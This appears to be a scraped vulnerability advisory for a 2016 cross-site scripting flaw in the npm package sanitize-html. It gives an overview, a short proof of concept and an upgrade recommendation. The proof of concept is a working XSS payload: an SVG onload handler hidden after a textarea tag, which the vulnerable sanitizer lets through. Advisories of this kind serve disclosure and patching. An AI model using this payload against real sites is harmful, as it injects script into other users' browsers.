Lucene search

K
nodejsAndrew KrasichkovNODEJS:154
HistoryOct 27, 2016 - 4:25 p.m.

Cross-Site Scripting

2016-10-2716:25:30
Andrew Krasichkov
www.npmjs.com
33

0.001 Low

EPSS

Percentile

35.9%

Overview

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

References

CPENameOperatorVersion
sanitize-htmlle1.11.1

0.001 Low

EPSS

Percentile

35.9%